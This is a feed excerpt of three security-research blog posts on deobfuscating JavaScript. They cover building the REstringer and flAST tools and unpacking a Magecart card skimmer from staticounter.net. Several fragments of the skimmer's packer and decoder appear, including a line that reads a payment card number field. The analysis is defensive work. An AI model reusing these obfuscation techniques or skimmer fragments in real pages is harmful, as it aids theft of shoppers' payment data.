href="https://medium.com/media/4d0b44d6702d2842ca9e1ae85131e1ef/href">https://medium.com/media/4d0b44d6702d2842ca9e1ae85131e1ef/href</a></iframe><p>So just to complicate matters (because why not?), I’ve moved the dec function to the bottom of the code, and overwritten the array and dec function after execution:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/515c446c32c824e7ad469839ac8c2bd9/href">https://medium.com/media/515c446c32c824e7ad469839ac8c2bd9/href</a></iframe><p>I <em>can</em> write a more complicated search and replace script that extracts just the array and function and then deobfuscates the strings, but that isn’t scalable. So now what?</p><h3>The Better Way (Take 2) — Generalizing the Solution: Going Off Script</h3><p>Let me jump straight into the deep end of the pool by walking you through building a deobfuscator for this type of obfuscation. It’s going to be a basic solution, and I’m going to mention the shortcomings of the specific implementation at the end of this part, so write down whatever it is you think you’d do differently, and let me know if I missed anything.</p><p>Just a quick reminder — I’m going to be using the <a href="https://www.npmjs.com/package/flast">flAST</a> package to flatten the AST to make it easier to find code structures that are referencing each other, and replace them with the deobfuscate strings.</p><p>Let’s start with the array. In this short script we’re deobfuscating, there’s only one array, so it’s simple, but let’s pretend there might be more than one. How would we find the specific array we’re looking for? We’ll first describe it and then write it in code.</p><p>We’re looking for:</p><ul><li>A variable declarator initialized with an array expression.</li><li>The array expression is not empty, and contains only strings (literals).</li><li>The array is referenced in a function (i.e. not the global scope).</li></ul><p>Using flAST we can look at an identifier’s references and their scope:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/5e29dc57d3ce986355752a66c46e41ea/href">https://medium.com/media/5e29dc57d3ce986355752a66c46e41ea/href</a></iframe><p>This is far too generic. We can test how well this describes the structure we’re looking for by appending our obfuscated code to an unobfuscated version of a large script (like <a href="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js">this an jQuery script</a>) and counting how many arrays match the description.</p><p>In this case, three arrays matched:</p><pre>re  = [&#39;Top&#39;,&#39;Right&#39;,&#39;Bottom&#39;,&#39;Left&#39;];          // 1<br>Ue  = [&#39;Webkit&#39;,&#39;Moz&#39;,&#39;ms&#39;];                    // 2<br>arr = [&#39;d29ybGQ=&#39;, &#39;IA==&#39;, &#39;aGVsbG8=&#39;, &#39;bG9n&#39;]; // 3</pre><p>So, we <em>are</em> generic, but not <em>too</em> generic. We can use the relationship between the array and the dec function to hone in on the correct one. What we’re looking for is:</p><ul><li>A function declaration with exactly one reference to the relevant array.</li><li>Has at least as many references to it as there are items in the array.</li></ul><p>In code, this description looks like this:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/164f84d38d22472779b12fbbb54fffc0/href">https://medium.com/media/164f84d38d22472779b12fbbb54fffc0/href</a></iframe><p>So, for each of the arrays we found, we can look for a decoding function that matches the description until we find a match.</p><p>Now, all that’s left is finding the augmenting function by looking for a call expression where the callee is a function expression (i.e. a function declared in-place, rather than an identifier or an object) and our array as one of its arguments. We don’t even need to search the entire code for that description, just the references to our array:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3b36269fcb9011212066cf15507e7eba/href">https://medium.com/media/3b36269fcb9011212066cf15507e7eba/href</a></iframe><p>Putting it all together, it makes more sense to me to place each description in its own function, and all functions in a single class and share the parsed AST rather than pass it every time.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/48cf244b0abfaf0c0ebea1fa5852ce86/href">https://medium.com/media/48cf244b0abfaf0c0ebea1fa5852ce86/href</a></iframe><p>You can replace the inline code with the injected jQuery code and test it out.</p><p>All in all, it wasn’t that much c̶h̶e̶e̶s̶e̶ coding. This solution is still lacking, though, since it does not cover all possible scenarios. Here’s a partial list of scenarios that are not covered:</p><ul><li>There might be other arrays in the code that match the same description.</li><li>There might be more than one augmenting function.</li><li>The decoding function could use a browser api (like checking the <em>location.href</em>), which wouldn’t work in our NodeJS environment out of the box.</li><li>There might be more than one obfuscated section in the code.</li><li>The array might be defined in one line and populated in another.</li></ul><p>What I hope I managed to convey is how to use flAST to create concise and effective code that speaks in node structures and relationships.</p><h3>The Journey So Far</h3><p>What I’ve shared until now is how my deobfuscation journey started. What does it look like now?</p><p><a href="https://github.com/PerimeterX/REstringer/blob/main/restringer.js">You can check it out for yourself</a>!</p><p>I’ve narrowed down some of the obfuscation descriptions in my <a href="https://github.com/PerimeterX/obfuscation-detector">Obfuscation Detector</a>, and for some of those obfuscation types, REstringer provides specific pre-processors to remove traps or simplify the code before moving to more generic deobfuscation attempts.</p><p>For example, the Caesar+ obfuscation, which I broke down in <a href="https://www.perimeterx.com/tech-blog/2020/deobfuscating-caesar/">Deobfuscating Caesar+</a>, has an outer layer which acts as a sort of packer that concatenates the packed code string using HTML elements. This method is used to prevent running the code outside of a browser environment. In order to automate the unpacking in a nodeJS environment, a simulated browser environment is used via <a href="https://www.npmjs.com/package/jsdom">jsdom</a>.</p><p>The main deobfuscation logic is laid out in the main <em>deobfuscate</em> method:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/41bb0a3c26f598f51db39b34ca0bddd5/href">https://medium.com/media/41bb0a3c26f598f51db39b34ca0bddd5/href</a></iframe><p>The first thing is to identify the obfuscation type, run the appropriate preprocessors and set up any relevant post-processors. Then, the main deobfuscation methods run in a loop until they are no longer effective. Post-processors are then applied to the now deobfuscated code.</p><p>Finally, the code is normalized (e.g. turning bracket[&#39;notation&#39;] into dot.notation) and stripped of any dead code if that option is selected.</p><p>The safe and unsafe are terms indicating whether a method is using eval to resolve a code’s output or not. Using eval is considered unsafe, even when running it in a sandbox environment like <a href="https://www.npmjs.com/package/vm2">vm2</a>.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/568b4d62b7e318f3901f20bcd9fa392b/href">https://medium.com/media/568b4d62b7e318f3901f20bcd9fa392b/href</a></iframe><p>The way this loop is constructed, the safe methods run until they exhaust themselves, and then the unsafe methods run once. The cycle is then repeated. This is done in order to avoid running overly eager evals on code which can be deobfuscated using other methods, which produce more accurate results.</p><p>The <em>runLoop</em> method takes an array of deobfuscation methods and… well, runs them in a loop (surprised, right?). It takes a “snapshot” of the code before running and compares it after each loop. If the snapshot matches the current state of the code, it means none of the methods have made any changes, and the loop can end. A maximum number of cycles is also observed to avoid an endless loop scenario. Here’s a cleaned up version of this method:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b45440604b1c8f0c8bd822f36eb2b0c2/href">https://medium.com/media/b45440604b1c8f0c8bd822f36eb2b0c2/href</a></iframe><p>This description wouldn’t be complete without a list of currently available safe and unsafe methods:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/33be057c9815bb5165f265aed3707c53/href">https://medium.com/media/33be057c9815bb5165f265aed3707c53/href</a></iframe><p>I’d love to go into more details in the future about how I implemented the eval mechanism, how the caching works, choices I made regarding what can and cannot be deobfuscated at any given time, or how I collect context recursively.</p><p>There is a lot more documentation and comments in the repo.</p><h3>Where Do We Go? Where Do We Go Now?</h3><p>This project has been with me since my starting days at PerimeterX, and I’m really grateful for being given the opportunity <em>and time</em> to work on such an interesting long term project.</p><p>REstringer has been coded, refactored, re-written, shredded, glued back together, translated, renamed, lost, found, subjected to public inquiry, queried, lost again, and finally approved to be released as open source. What a journey!</p><p>REstringer is great, but it’s far from being perfect or complete. I’m going to keep at it, and I hope it’ll be useful to other researchers and obfuscation enthusiasts, all of whom are welcome to use and contribute as they see fit.</p><p>Thanks for reading! I hope we all meet again in <em>REstringer 2: The Search for More Obfuscation</em>, and may the Schwartz be with you!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6ac44877a944" width="1" height="1" alt=""><hr><p><a href="https://medium.com/perimeterx/defeating-javascript-obfuscation-6ac44877a944">Defeating Javascript Obfuscation</a> was originally published in <a href="https://medium.com/perimeterx">PerimeterX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Automating Skimmer Deobfuscation]]></title>
            <link>https://medium.com/perimeterx/automating-skimmer-deobfuscation-62050d1a50fe?source=rss-c30b3ea37e19------2</link>
            <guid isPermaLink="false">https://medium.com/p/62050d1a50fe</guid>
            <category><![CDATA[magecart]]></category>
            <category><![CDATA[deobfuscation]]></category>
            <category><![CDATA[obfuscation]]></category>
            <category><![CDATA[automation]]></category>
            <category><![CDATA[javascript]]></category>
            <dc:creator><![CDATA[Ben Baryo]]></dc:creator>
            <pubDate>Fri, 08 Jul 2022 15:44:44 GMT</pubDate>
            <atom:updated>2022-07-08T15:44:44.597Z</atom:updated>
            <content:encoded><![CDATA[<blockquote>Expanding on my <a href="https://medium.com/perimeterx/the-far-point-of-a-static-encounter-f6c9c6ef6e5c">previous post</a>, I’ll share my method for automating deobfuscation, describing code structure using AST. I’ll also give a sneak preview to my upcoming open source deobfuscation tools.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8AELQj3BcNv7wLnU" /></figure><h3>TL;DR</h3><p>Code. Skimmers. Packers. Obfuscation. T̶r̶u̶e̶ ̶L̶o̶v̶e̶.̶<br>Not just your basic, average, everyday, ordinary, run-of-the-mill, no-hum blog post.<br>This is going to be a very (<em>very</em>) technical post in which I’ll take you on a journey through automating part of the deobfuscation process. Those of you who’d rather not dig into code structure and ASTs — this is where the story ends. You click away, and believe whatever you want to believe. Those of you who would like to continue can join me in scaling the Codes of Insanity, battling strings of unusual size, and facing mild annoyance at all of the mixture of references I keep throwing your way.</p><p>Spoiler alert: I’ll be making use of a couple of my deobfuscation tools: <a href="https://github.com/PerimeterX/flast">flAST</a> — which flattens and modifies ASTs, and REstringer — a Javascript deobfuscator. The latter will be released soon as open source so you’ll be able to use it yourself!</p><h3>Start Reading, Player One</h3><p>In my <a href="https://www.perimeterx.com/tech-blog/2022/far-point-static-encounter/">previous post</a> I explained my thought process when facing an obfuscated script and showed the steps I took to deobfuscate the anti-VM skimmer. To reiterate, the steps were:</p><ol><li>Unpack the code to get a skimmer obfuscated with references to a packed strings-array.</li><li>Unpack the strings-array.</li><li>Replace all references to the strings array throughout the script with the actual values.</li></ol><p>Since I was reviewing many variants of the skimmer, all using the same obfuscation with different variable/function names, I made use of my deobfuscator tool as much as possible. But alas! When running the deobfuscator (dubbed REstringer) on the <a href="https://gist.github.com/BenBaryoPX/5131a9344df3fd44270a26ef8a4b1cb0">obfuscated script</a>, it stops <a href="https://gist.github.com/BenBaryoPX/5a0c3526414ff42152d382ef2fff4435">just after decoding the skimmer code, but before turning the string into actual code nodes</a>:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7bb06647d68af4168c8973bcfcf0ae8d/href">https://medium.com/media/7bb06647d68af4168c8973bcfcf0ae8d/href</a></iframe><p>I then have to take the value in the FpP variable, remove the quotes around it, wrap it in an anonymous function, and replace the value of the CuM variable with it.</p><p>Once I do this, I can run the unpacked-yet-still-obfuscated script through REstringer. It then completes the array-replacements deobfuscation and I get all of the strings in place. Basically, I was stuck with a manual process between the first and second steps.</p><p>But why spend 10 seconds manually doing something you can automate in a couple of hours?</p><h3>hASTa la vista, Packer</h3><p>Not all packers look the same. In fact, REstringer already handles eval based and Function based unpacking. How do I add this constructor based variation?</p><p>REstringer’s basic MO is looking for syntactic structures that describe specific obfuscation methods, and undoing them, resulting in reconstructed strings and simplified flows.</p><p>What I need to do is create a new method to detect the single step I’m missing — namely the .constructor(…, &#39;code&#39;) structure and turn it into a function() {code} structure.</p><p>The first thing I do when faced with a task like this is to understand how to describe the node structure. A good way to understand what I’m looking at is throwing the code into an online tool like <a href="https://astexplorer.net/">AST Explorer</a> and walking through the tree, making note of the relationships between parent and child nodes, and their properties:</p><figure><img alt="A two pane view in the AST Explorer tool. The left side shows the code and the right side shows the AST in JSON format." src="https://cdn-images-1.medium.com/max/1024/0*RcqGG80kHPI_TVz2" /><figcaption><a href="https://gist.githubusercontent.com/BenBaryoPX/d9c48cf2f82c574cf098fae93ae4e48f/raw/a8846dbf6f6afebd87de30ec331079720836d60e/ast-explorer-anti-vm-unpacked.png">See full image</a></figcaption></figure><p>What we’re looking for can be found on line 28 and on line 30. Let’s focus on the latter, since that’s the code that we’re really interested in:</p><pre>var CuM = UDS.constructor(&#39;&#39;, &#39;function _0x270ED(_0x26D23,_0x26A7C){var…&#39;);</pre><p>The whole line is a variable declaration, but what we’re looking for is on the right side (init) of the variable declarator — the call expression.</p><p>Ok, that’s enough node-speak for now 😅. To write or read code, you don’t need to know what each node type is called, so let me run through it just so we’re all on the same page. This next part is going to be <em>a lot</em>, so brace yourself, or skip it altogether if you’re already familiar with ASTs (not ATSTs, mind you).</p><h3>Definitions Time: Node If You Understand Me</h3><p>I mentioned a couple of node types in the previous paragraph. To understand how the structure can be described using AST, we’ll first need to get a grasp of how code is parsed and how nodes are described. This is by no means a complete, or even a <em>good</em> intro to AST</p><p>A quick note before diving into the nodes’ structures:<br>The structure is based on <a href="https://github.com/eslint/espree">espree</a>, which I use to produce the AST. Different parsers may produce slightly different node structures. You can see the differences by switching parsers on the AST Explorer site.</p><h3>Variable Declaration</h3><p>Contains 1 or more declarations. Examples:</p><pre>var a<br>const b = {}<br>let c = 3, d = &#39;hello&#39;, e</pre><ul><li><strong>Kind</strong> — the keyword defining the scope of the declaration — on what scopes will the variable(s) be available? Can be either var, const, or let.</li><li><strong>Declarations</strong> — an array of variable declarators. Can’t be empty.</li></ul><pre>// var …<br>{<br> type: &#39;VariableDeclaration&#39;,<br> kind: &#39;var&#39;<br> declarations: [{type: &#39;VariableDeclarator&#39;, …}, …],<br>}</pre><h3>Variable Declarator</h3><p>A variable declarator only exists under a variable declaration. Otherwise, it’s just an assignment expression. For an example of this node type, simply look at the examples for the variable declaration and ignore the var/const/let keywords.</p><ul><li><strong>Id</strong> — the name of the variable. Usually it’s an identifier (read: variable), but more complex structures can involve something other than an identifier, such as destructuring (var {a} = {a: 4}) or member expressions (window.v = &#39;var&#39;), etc.</li><li><strong>Init</strong> — The optional initial value assigned to the variable. The value is mandatory when using the const keyword, and may be omitted otherwise.</li></ul><pre>// CuM = …<br>{<br> type: &#39;VariableDeclarator&#39;,<br> id: {type: &#39;Identifier&#39;, name: &#39;CuM&#39;},<br> init: {…},<br>}</pre><h3>Member Expression</h3><p>Access to an object’s methods, properties, or indices is usually done via member expressions. You’ve seen these used with either dot notation (a.b) or bracket notation (a[0]).</p><ul><li><strong>Object</strong> — the object containing the referenced property. This is the a in a[0].</li><li><strong>Property</strong> — a reference to a property / method / index in the object. This can be one of many types of nodes such as a literal (a[0]), an identifier (a[b] or a.toString), another member expression (a[b.c]), etc.</li><li><strong>Computed</strong> — a boolean value describing whether the expression is using dot notation (false) or bracket notation (true).</li></ul><pre>// UDS.constructor<br>{<br> type: &#39;MemberExpression&#39;,<br> object: {type: &#39;Identifier&#39;, name: &#39;UDS&#39;},<br> property: {type: &#39;Identifier&#39;, name: &#39;constructor&#39;},<br> computed: false,<br>}</pre><h3>Call Expression</h3><p>A function call. For example:</p><pre>atob(‘SSB3aWxsIG5vdCBidXkgdGhpcyByZWNvcmQuIEl0IGlzIHNjcmF0Y2hlZC4=’)</pre><pre>clear()</pre><pre>0xf.toString(12)</pre><ul><li><strong>Callee</strong> — the object to be executed. Can be many types of nodes, such as an identifier, or function expression, etc.</li><li><strong>Arguments</strong> — zero or more values to be passed to the callee upon execution. Can be any type of node.</li></ul><pre>// CuM(4372)<br>{<br> type: ‘CallExpression’,<br> callee: {type: ‘Identifier’, name: ‘CuM’},<br> property: {type: ‘Literal’, value: 4372, …},<br>}</pre><h3>Literal</h3><p>A string (surrounded by a single or double quotes, not a tick), a number, or a boolean. For example:</p><pre>&quot;&quot;<br>&#39;hello&#39;<br>123<br>0xff<br>true<br>1_000_000_000_000</pre><ul><li><strong>Value</strong> — self explanatory.</li><li><strong>Raw</strong> — how the value is represented in the code. Does it use double quotes? Single quotes? Is the number separated with underscores? Etc.</li></ul><pre>// 4372<br>{<br> type: &#39;Literal&#39;,<br> value: 4372,<br> raw: &#39;4372&#39;,<br>}</pre><h3>Identifier</h3><p>The name of a variable / function / object / class / etc…</p><pre>// CuM<br>{<br> type: &#39;Identifier&#39;,<br> name: &#39;CuM&#39;,<br>}</pre><ul><li><strong>Name</strong> — self explanatory.</li></ul><h3>Aaaaaand We’re Back</h3><p>Now that we’ve familiarized ourselves with different node types, let’s try to describe the line we’re interested in, using AST. Here’s a reminder:</p><pre>var CuM = UDS.constructor(&#39;&#39;, &#39;function _0x270ED(_0x26D23,_0x26A7C){var…&#39;);</pre><p>AST Explorer breaks it down as such:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/2c3b43b5f9e535d023c6771e8c378242/href">https://medium.com/media/2c3b43b5f9e535d023c6771e8c378242/href</a></iframe><p>That’s a good starting point, but how to describe it?</p><p>Let’s break down what we’re looking for in a node to indicate it’s a relevant node:</p><ol><li>The node is a <em>call expression</em>.</li><li>The <em>callee</em> is a <em>member expression</em>.</li><li>The <em>callee</em>’s <em>property</em> is an <em>identifier</em> with the name constructor.</li><li>The <em>call expression</em>’s <em>arguments</em> include a non-empty <em>literal</em> at the last index.</li><li>The <em>call expression</em> is the <em>init</em> node of a <em>variable declarator</em>.</li></ol><p>This seems pretty generic. Let’s translate that to code — a function that returns true if a node matches this description or false otherwise:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/88a347b3e930d2482fe349a36795ad5a/href">https://medium.com/media/88a347b3e930d2482fe349a36795ad5a/href</a></iframe><p>Great! Now, how do we test it?</p><h3>Flattening the Playing Field</h3><p>Going up and down the tree, looking for nodes and making comparisons, is all fine and dandy, but I much prefer getting all of my nodes at the same time and filtering them according to my needs.</p><p>Then I can decide what to do with them, and apply the changes I decided on to the tree.</p><p>This is achieved using the <a href="https://www.npmjs.com/package/flast">flAST</a> module (npm install flast). I will write more about it in a dedicated post, but to make a mildly long story short, it flattens ASTs, keeping links between parents and children, assigns unique ids to both nodes and scopes, and tracks identifiers’ declarations and references.</p><p>I’ll use this module to build a mini deobfuscator that traverses the manual step I’m so reluctant to do:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7797a24f0d86122340dc1fad741fde91/href">https://medium.com/media/7797a24f0d86122340dc1fad741fde91/href</a></iframe><p>Running it and stopping the debugger on the last line, I can see that two matches were found: the var BTX line and the var CuM line, which is exactly what we were hoping to see. This means that we’ve managed to describe the nodes well, though these things should always be tested against several large scripts where they might unexpectedly match less appropriate lines.</p><p>When that happens, it means that I must be more specific in the description. Sometimes it’s not possible to describe exactly what you’re looking for without also matching on other lines, which means another path or deobfuscation should be explored.</p><p>So now how do we turn the call expression into the actual code? The easy way is to just run it! But you might not want to run code you found online, especially if you know it’s malicious. What to do, then?</p><p>What did I do manually?</p><ol><li>I took the code and removed the quotes around it.</li><li>Wrapped it in an anonymous function.</li><li>Replaced the call expression with the new code.</li></ol><p>Let’s code!</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/862065187012814cf2003b473708a06c/href">https://medium.com/media/862065187012814cf2003b473708a06c/href</a></iframe><p>Before replacing the call expression with funcNode, let’s understand the code:</p><ol><li>The generateFlatAST function takes code as input and generates a flattened AST.</li><li>The anonymous function itself needs to be wrapped in parentheses, which turn it into an expression statement. Without wrapping it, the code would not be parsed.</li><li>The options argument sets <em>details</em> to false, preventing us from wasting our time on node ids and scoping, since we only need the code now. This also helps prevent mixup with node ids when injecting one tree to another.</li></ol><p>All that’s left to do is to replace UDS.constructor(&#39;&#39;, &#39;function…&#39;); with funcNode‘s code. To do that, we’ll use flAST’s <a href="https://github.com/PerimeterX/flast/blob/main/src/arborist.js">Arborist</a>.</p><h3>Let the Arborist Take Care of Your Tree</h3><p>What <em>flAST</em> allows you to do is to search the entire tree without having to traverse it every time. You can simply filter through the flat array in search of nodes that match your query.</p><p>Once you find what you were looking for, you may want to replace or delete a node. In the spirit of traversing the tree as little as possible, the <em>Arborist</em> offers you a way to mark nodes with the changes you want to make, and once you’re done, it traverses the tree only once and applies all of the changes.</p><p>Let’s see that in action:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/f3ec756be3b828bbb1719a4d02e40fdf/href">https://medium.com/media/f3ec756be3b828bbb1719a4d02e40fdf/href</a></iframe><p>Run it — et voilà! The constructor call has now been replaced with the actual function, and the deobfuscation process can continue uninterrupted.</p><h3>What’s Next?</h3><p>Oh boy! That was a lot to unpack! ( ͡~ ͜ʖ ͡°)</p><p>The example above takes a semi-deobfuscated code and changes a single thing — turning a code string into nodes. What I’ve already done is add a more robust version of the same logic into the REstringer deobfuscator:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/ddf1ca5d29235ba0355688e13db74669/href">https://medium.com/media/ddf1ca5d29235ba0355688e13db74669/href</a></iframe><p>These are the improvements in this code over what we built above:</p><ul><li>Handle both computed and non-computed member expressions for the constructor method:<br>UDS.constructor() and UDS[&#39;constructor&#39;]().</li><li>Include any arguments included in the constructor call:<br>UDS.constructor(&#39;a&#39;, &#39;b&#39;, &#39;return a + b&#39;) will become function(a, b) {return a + b}.</li><li>Include cases where the assignment isn’t part of a variable declaration, but an assignment to an existing variable (or implicitly to a global variable):<br>var CuM; CuM = DS.constructor…</li></ul><p>Now when I run the obfuscated skimmer in REstringer I get it completely deobfuscated without any need for manual interaction 😄.</p><p>In the near future, I will post about the upcoming open-source REstringer project, along with <a href="https://www.npmjs.com/package/flast">flAST</a> and an <a href="https://www.npmjs.com/package/obfuscation-detector">obfuscation detector</a>. Stay tuned!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=62050d1a50fe" width="1" height="1" alt=""><hr><p><a href="https://medium.com/perimeterx/automating-skimmer-deobfuscation-62050d1a50fe">Automating Skimmer Deobfuscation</a> was originally published in <a href="https://medium.com/perimeterx">PerimeterX</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Far Point of a Static Encounter]]></title>
            <link>https://medium.com/perimeterx/the-far-point-of-a-static-encounter-f6c9c6ef6e5c?source=rss-c30b3ea37e19------2</link>
            <guid isPermaLink="false">https://medium.com/p/f6c9c6ef6e5c</guid>
            <category><![CDATA[deobfuscation]]></category>
            <category><![CDATA[obfuscation]]></category>
            <category><![CDATA[skimmer]]></category>
            <category><![CDATA[javascript]]></category>
            <category><![CDATA[magecart]]></category>
            <dc:creator><![CDATA[Ben Baryo]]></dc:creator>
            <pubDate>Thu, 23 Jun 2022 19:22:50 GMT</pubDate>
            <atom:updated>2022-06-23T19:22:50.575Z</atom:updated>
            <content:encoded><![CDATA[<h4>A breakdown of the Anti-VM skimmer and its variants from the earliest incarnation to the latest iteration served from <em>staticounter.]net</em>.</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*mYPHYVxzoHpcHsB-GJOW6g.jpeg" /></figure><p>Following <a href="https://twitter.com/rootprivilege/status/1536197955728048128">@rootprivilege’s tweet</a> of a skimmer served from the recently registered (2022–05–11) <em>staticounter.]net</em>, I decided to take a closer look. I’ll start with describing my process of deobfuscation, but if you’re more interested in the workings of the actual skimmer, you might want to skip ahead.</p><h3>Unpacking The Deobfuscation</h3><p>When I’m looking at new obfuscated code, I like to describe it to myself and make assumptions regarding the structures I’m noticing. I then try to either prove or disprove those assumptions about how the obfuscation process works. With that said, let’s dig in.</p><p>@AffableKraut was kind enough to <a href="https://gist.github.com/krautface/469fa925b494b7b436e1fd9346d36b60">share the skimmer code</a> which was injected at the end of the script. I’ve cropped it to <a href="https://gist.github.com/BenBaryoPX/5131a9344df3fd44270a26ef8a4b1cb0">just the skimmer itself</a>.</p><p>Here’s the abridged version:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/43145599797262839b8719f5fb8d136f/href">https://medium.com/media/43145599797262839b8719f5fb8d136f/href</a></iframe><p>As a side note, I’ve found that the ;var at the beginning is often a good indication of an injection, since you might not be sure if the code you’re injecting to ends with a semicolon. If it doesn’t, it might have <a href="https://javascript.plainenglish.io/javascript-how-line-breaks-and-missing-semicolons-can-break-your-code-58e031e7f235">unexpected repercussions</a>.</p><p>The structure of the obfuscation is pretty straightforward:</p><ol><li>Declaring many variables in the global scope.</li><li>An anonymous IIFE containing: <br>1. A function declaration — UDS. It ends with a .join, and I can see that there are a couple of calls to it with illegible strings as arguments, which makes me believe the function is a decoder.<br>2. An assignment of a property of the function UDS into a new variable — AET. This variable is then used as a function a couple of lines below.<br>3. The BTX variable is declared and a line later it is used as a function.<br>4. Finally, almost at the end of the script, the Uku variable — another reference to AET — is called to create the CuM function, which is then executed. Since the execution of the CuM function does not save any output to any variable, I’m guessing it’s the main skimmer function.</li></ol><p>The entire flow of building the script from obfuscated strings and then running it seems to fit that of a packer: build code from a long string, and then run it.</p><h3>The Packer</h3><p>Why do I think the UDS function is a decoder? Let’s examine it:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/b39748b88e43d6bca5c2f68eb77be4ea/href">https://medium.com/media/b39748b88e43d6bca5c2f68eb77be4ea/href</a></iframe><p>Even without looking at how the UDS function works, we can tell it returns a string, since substr is chained to it. Running the function with the obfuscated string as input produces the string <em>constructorabcdefghijklmnopqrstuvwxyz</em>. I’m going to venture a guess and say that MXQ equals 11, which would leave us with just the word <em>constructor</em>. This answers the question of how the BTX and CuM functions are created: using the UDS function’s constructor method.</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/cd4bfae942199c2a9df085f72a00423b/href">https://medium.com/media/cd4bfae942199c2a9df085f72a00423b/href</a></iframe><p>A couple more declarations and replacements, and we end up with a second decoder function in BTX:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/3c23ddfa3915275229fa8edaac6d6f53/href">https://medium.com/media/3c23ddfa3915275229fa8edaac6d6f53/href</a></iframe><p>The next line is assigning to FpP the value of two decoder functions on a string:</p><pre>var FpP = BTX(UDS(‘ih)c 2pni:%#DD5rn,|p26tca 0…..’));</pre><p>Which will leave it holding the code for the function created in the next line.</p><p>Putting it all together, we get:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/7bb06647d68af4168c8973bcfcf0ae8d/href">https://medium.com/media/7bb06647d68af4168c8973bcfcf0ae8d/href</a></iframe><p>This was the flow of the packer that builds the actual skimmer code. To extract the skimmer itself, simply look at the value of the FpP variable. To get a nice printout of the code, replace the execution of the CuM function with</p><pre>console.log(CuM.toString());</pre><h3>The Obfuscated Skimmer</h3><p>Just from skimming the code (pun intended), you can tell that the obfuscation’s main trick here is array replacement references as there are a lot — just shy of 600 — references to different indexes of the variable _0x26713. Here’s an example:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e16e0d00410c78a9ce924ca9d322ae83/href">https://medium.com/media/e16e0d00410c78a9ce924ca9d322ae83/href</a></iframe><p>When I searched for the variable’s declaration, I found it was assigned the result of a function call with a long nonsense string as its sole argument. Sound familiar?</p><pre>var _0x26713 = (_0x270ED)(“fisctlue-rtrornx.=oadan…”);</pre><p>Yup, it’s another decoder, which is widely used by skimmers I’ve examined. You can identify it by its join-split-join-split structure:</p><iframe src="" width="0" height="0" frameborder="0" scrolling="no"><a href="https://medium.com/media/e410922c97b9c7577875ba1fdeffdba9/href">https://medium.com/media/e410922c97b9c7577875ba1fdeffdba9/href</a></iframe><p>Running this decoder on the obfuscated string gives us an array of deobfuscated strings, all ready to be placed instead of the array references throughout the script. Some cleaning up and we end up with a cleaner version of the first example in this section:</p><pre>i71.cd.nb = dN34.getElementById(‘number’).value;</pre><p>In the last couple of years, I’ve been building a deobfuscator — which I dubbed REstringer — that can handle many of these techniques by specifically targeting many of the obfuscation methods commonly used by skimmers. <a href="https://gist.github.com/BenBaryoPX/b92380c799d10a7aecb8b9ca0461fa4a">Here’s the skimmer after being deobfuscated</a> using <em>REstringer</em>. More on this topic will be coming soon.</p><h3>The (not so) Anti-VM Skimmer</h3><p>In the same Twitter thread, <a href="https://twitter.com/MBThreatIntel/status/1536402159540916225">Malwarebytes pointed out</a> that this skimmer is linked to the “anti-VM” skimmer. Comparing the code of both skimmers confirms it, though the new sample dropped the “anti-VM” check ¯\_(ツ)_/¯. About a week later, Malwarebytes came out with <a href="https://blog.malwarebytes.com/threat-intelligence/2022/06/client-side-magecart-attacks-still-around-but-more-covert/">a blog post</a> describing the breadth of the infrastructure serving variants of the same skimmer.</p><p>The anti-VM code prevents the attack from activating if the skimmer detects it is running in a Virtual Machine: a sandbox environment used to observe and investigate threats.</p><p>After examining a few samples, both from the malicious domains they mentioned in their post, as well as others I’ve found (such as <em>staticounter.]com</em>, registered since 2020–12–19), it appears that the campaign targets a wide variety of payment providers, where each skimmer matches its techniques to the targeted framework and payment provider.</p><p>It’s not uncommon to find several variants of the same skimmer going around. Just like in other fields of software development, code sharing is prevalent, and attackers often take an existing skimmer that targets a specific framework and tweak it to run on a different version of the same framework or even on a completely different one.</p><p>This is the case here as well, with the different variants sharing most of their code with one another, save for a few key differences: how to 